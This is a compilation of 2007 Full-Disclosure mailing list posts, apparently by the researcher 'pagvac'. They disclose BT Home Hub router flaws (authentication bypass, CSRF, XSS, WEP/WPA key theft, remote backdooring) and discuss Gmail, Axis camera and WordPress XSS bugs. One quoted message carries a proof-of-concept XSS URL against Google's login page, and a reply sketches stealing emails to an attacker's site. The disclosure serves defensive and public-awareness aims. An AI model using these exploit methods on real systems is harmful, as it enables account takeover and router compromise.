needs to be corrected. I did mention that this was being exploited, so obviously some people already know about the problem, but not the right ones. Before I sent the disclosure, there was no effort being put into fixing the problem. Now there is. Hopefully blog administrators will also apply the work-arounds in the meantime. Steven. -- w: http://www.cl.cam.ac.uk/users/sjm217/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] BT Home Flub: Pwnin the BT Home Hub - Vulnerabilities details published
Remote assistance now appears to be disabled. That definitively gets rid of the worst threat: backdooring the Home Hub router by enabling remote access permanently (could be done by editing the config file). Telnet has also been disabled, and the contents of the config file is now encrypted/obfuscated. However, there are many other vulnerabilities that we reported, which are still present on version 6.2.6.B of the firmware. For instance, there are still many (non-persistent and persistent) XSS, system-wide CSRF and also the double-slash authentication bypass which works on the latest firmware! That means that, for instance, you can still steal the router's WEP/WPA key by making the victim click on a URL that exploits a XSS vulnerability and scrapes the contents of the WEP/WPA key page: http://192.168.1.254/cgi/b/_wli_/seccfg// . It also means that any administrative requests (i.e.: disable wireless access) can be made by tricking the user to visit a malicious website. Since the auth bypass hasn't still been fixed, this attack would work even if the user has changed the default password. One of the reasons for publishing the details it's because we reported the issues more than a month ago, which should be long enough to fix the vulnerabilities. Also, BT has made inaccurate / not true statements on a BBC Radio 4 show [1] and on their own website [2] about how the vulnerabilities are theoretical rather than practical. Publishing the details proves that we're not just talking BS but rather warning the community about serious (and practical) issues existent on the BT Home Hub. Vulnerabilities details here: http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-4 And my previous posts on the subject: http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-3 http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub-2 http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub References: [1] http://www.bbc.co.uk/radio4/youandyours/items/01/2007_42_wed.shtml [2] http://www.btplc.com/today/art70350.html Regards, AP. -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Gmail 0day
Hello Juergen,
With all my respect, is it that hard to see that gaining access to a
Gmail session can lead to your identity being stolen?
Nowadays your webmail account means your online life/presence. Let's
have a walk through attack shall we?
1. Your Gmail session is hijacked (i.e.: via the XSS PoC posted on FD)
2. Attacker searches for password in 'Inbox'/'Sent Mail'.
- How many times have you clicked on Forgot password on MULTIPLE
online accounts and the password (whether a new pass or the original
one) emailed to you has not been changed from the time you got the
forgotten password email?
- How many users have emailed passwords to themselves so that they
don't forget?
- How many users use the same password on MULTIPLE online accounts
(including merchant/e-commerce accounts)?
- How many users have clicked on remember credit card details so
that they don't have to re-enter their CC data every time they perform
an online transaction?
- Did you forget to disable your Gtalk chat history (Gtalk is still
within the google.com domain)
- Have you saved anything personal on other services such as Google
docs/calendar/notebook? (or any other google.com service that doesn't
require you to re-login once authenticated)
3. For most victims, this leads to a compromise of his/her online identity.
If you fail to see the problem, then please think before you complain
about damn, right now 0day are fucking XSS
Posting a XSS PoC that opens an alert box doesn't have much merit
perhaps. However, this is the equivalent of saying: hey, I can cause
a BO condition. If you send X parameter with 500 bytes/chars or more,
then EIP is overwritten and the attacked service crashes. Now compare
that to actually compromising the server via the buffer overflow
vulnerability. That's a DIFFERENT STORY.
Same thing goes for any XSS. Now say, screw a cookie theft exploit for
the Gmail XSS! (pardon my French). Make something more clever!
Perhaps, you want a payload that scrapes all the victim's emails which
contain keywords such as 'password', 'private', 'admin', and so on.
Then, all the captured data is submitted to the attacker's site in the
background (nothing suspicious is visually happening from the victim's
point of view).
Sure Gmail has CSRF protection, but that can be bypassed via XSS.
After all, anti-CSRF tokens can be grabbed if URLs can be accessed
within the security context of the target domain (which is possible
via XSS).
If you consider all the aforementioned thoughts plus the fact that
Gmail is one of the most popular webmail services, then you should be
able to understand the power of a XSS vul on google.com !
Regards,
AP.
On Nov 8, 2007 8:55 PM, Juergen Marester [EMAIL PROTECTED] wrote:
wow ! 0day !
damn, right now 0day are fucking XSS ...
On 11/8/07, silky [EMAIL PROTECTED] wrote:
worked for me minutes after it was posted. seems fixed now.
On 11/9/07, crazy frog crazy frog [EMAIL PROTECTED] wrote:
i tested it on gmail latest version,itsnot working for me?
On Nov 8, 2007 7:04 AM, Scripter Hack [EMAIL PROTECTED] wrote:
There is a html injection vulnerability in https://www.google.com.
It is very critical,you can get the cookie to login into gmail ore
other
service.
POC:
https://www.google.com/accounts/ServiceLogin?service=mailrm=falsecontinue=http%3A%2F%2Fmail.google.com%2Fmail%2F%3Fui%3Dhtml%26zy%3Dlltmpl=defaultltmplcache=2passive=truel#;/scriptscriptalert('xss')/script1-=1
More:http://xss2root.blogspot.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--
advertise on secgeeks?
http://secgeeks.com/Advertising_on_Secgeeks.com
http://newskicks.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--
mike
http://lets.coozi.com.au/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
--
pagvac
gnucitizen.org, ikwt.com
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] gnucitizen bt home hub latest, attacks wide spread, outages reported
Hi guys, I just have a few comments for the sake accuracy. On 10/12/07, Valery Marchuk [EMAIL PROTECTED] wrote: gnucitizen may be responible for bt being under a massive attack right now. Oh my God, people stop talking nonsense! Have you seen the video provided by gnusitizen.org with demonstration of this attack or read the vulnerability description? The guy sends a link to victim, victim visits this link and bam. we see the IP address of the router (there are many ways to get his information. I`m not familiar with BT products, so I won`t try to guess which way was used). In the demo video the evil page loads JavaScript that requests a PHP script located on a third-party server. The PHP script simply emails the router's IP address to the attacker. Then, we see, how attacker is trying to get access to the device via web interface, then we see an authentication dialog, which is bypassed via default password or through a bug in authentication mechanism. That's it. We do NOT rely on default passwords in our demo exploit. The attacker logs into the router using the built-in tech support account and a password chosen by her (which was set on the Home Hub when the victim visited the evil page). The authentication bypass only takes place when the evil page is loaded on the victim's browser for the purpose of enabling remote assistance *without* requiring a password. btw, we haven't yet been informed by BT whether or not they have reproduced our findings successfully. Best regards, Valery Marchuk www.SecurityLab.ru - Original Message - From: worried security [EMAIL PROTECTED] To: full-disclosure@lists.grok.org.uk Sent: Friday, October 12, 2007 7:15 PM Subject: [Full-disclosure] gnucitizen bt home hub latest, attacks wide spread,outages reported gnucitizen 0day concerning bt home hub router firmware is vulnerable to attack. bbc radio 1's newsbeat program has been reporting today that customers can't connect to the internet. bbc radio 1 is a national and international radio station. i tried to look on the bbc radio 1 newsbeat site but they haven't put an online version of the report online. they didn't say gnucitizen on the radio but they said a group. they said bt customers have been reporting problems with their bt home hub and the report said bt are denying its connected with the security groups disclosure. this is very interesting but there is very little online about it, even from the bbc, who have been reporting on it via bbc radio 1 at 16:30pm (UK GMT) today. i urge people to investigate. gnucitizen may be responible for bt being under a massive attack right now. the media can phone up bbc radio 1 newsbeat and ask for a copy of the report to be put online. i think they should. the bbc radio 1 shouldn't give reports like that without putting it online. should gnucitizen get into trouble or should we not blame the researchers and only the script kids who have brought down bt today? bbc radio 1 is a music station and the news reports are just top of the hour news flashes lasting about 5 miniutes. they didn't repeat the report at 17:00pm GMT today, but maybe they will repeat it in their 17:45pm GMT news update? i'm sorry i don't have a link, but there isn't one online, UNBELIEVABLE for the bbc, they are usually good at standards. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] BT Home Flub: Pwnin the BT Home Hub
http://www.gnucitizen.org/blog/bt-home-flub-pwnin-the-bt-home-hub The BT Home Hub, which is probably the most popular home router in the UK, is susceptible to critical vulnerabilities. BT's plan is to sneak one of this boxes into every UK home. Not only does the BT Home Hub support broadband but also VoIP (BT Broadband Talk), UMA mobile telephony (BT Fusion), and digital TV (BT Vision). Additionally, BT will give users the option to use their BT Home Hub to join FON, a community-shared Wi-Fi. An unofficial source has reported us that there are 2+ million BT Home Hub users in the UK. If you're thinking: well I'm not based in the UK so this research doesn't concern me, then think again! The BT Home Hub is just a Thomson/Alcatel Speedtouch 7G router. Furthermore, the vulnerabilities we found are most likely present in other Speedtouch models due to code reuse (more on that later). So what can we do? Well, we can fully own the router remotely. At the moment we have three demo exploits which do the following: * enable backdoor in order to control the router remotely * disable wireless completely (can only be re-enabled if the user is technically capable) * steal the WEP/WPA key Of course there other other attacks you could launch! We can hijack any action with full admin privileges or steal any info returned by a router's page. This means evilness of the exploits are only limited by the attacker's imagination. Other examples of evil attacks include evesdropping VoIP conversations (change 'sip config primproxyaddr' statement in config file), stealing VoIP credentials, exposing internal hosts on the DMZ, change the DNS settings for stealing online banking credentials, disable auto updates (change 'cwmp.ini' section in config file), etc … The only requirement for the router to be owned is that a victim user visits a (malicious) website. The good news is that our exploits do NOT require knowledge of the admin password! How can that be? Well, we rely on a authentication bypass bug we discovered! Even though I've been the owner of a BT Home Hub for quite a while, I never bothered to try to find vulnerabilities in it. However, on the last dc4420 meeting, after I gave a talk on breaking into Axis cameras, some of the guys there inspired me to research the BT Home Hub. After poking with if for a while, pdp and I couldn't believe how vulnerable the web interface of the device was! I remember pdp sarcastically saying: wow, it's really locked down man!, We discovered issues such as: * authentication bypass (any admin action can be made without username/password!) * system-wide CSRF * several persistent XSS * several non-persistent XSS * privilege escalation We're now in the process of contacting BT and Thomson. However, I don't have high hopes for BT. Last year, I found a way to dump the BT Voyager 2091's config file without credentials. Even though I forwarded them my findings they never responded at all. Enjoy the demo video which was kindly prepared by pdp. We misspelled some words on the chat conversation, so please forgive us! In the video, the attacker social-engineers the victim to visit a malicious website. The malicious website in turn enables remote assistance on the victim's router with a password chosen by the attacker. After that, the attacker gains full privileges to the router remotely, and steals the config file and WEP key. -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Owning Big Brother: How to Crack into Axis IP cameras
We found multiple vulnerabilities on Axis 2100 IP cameras affecting both old firmware versions and the latest firmware (2.43). The research is made of two components: a purple paper and a video. The research doesn't just cover boring PoCs, but actual Hollywood-style exploits :-). Yes, this includes the classic attack in which the legitimate video stream gets replaced by another stream that keeps looping forever! More info can be found on: http://www.procheckup.com/Vulnerability_2007.php Regards, AP. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] 2 vanilla XSS on Wordpress ‘ wp-register.php’
There are two vanilla XSS on 'wp-register.php'. Only versions =2.0.1 appear to be affected. More info can be found on GNUCITIZEN's BlogSecurity: http://blogsecurity.net/wordpress/2-vanilla-xss-on-wordpress-wp-registerphp/ Regards, -- pagvac gnucitizen.org, ikwt.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
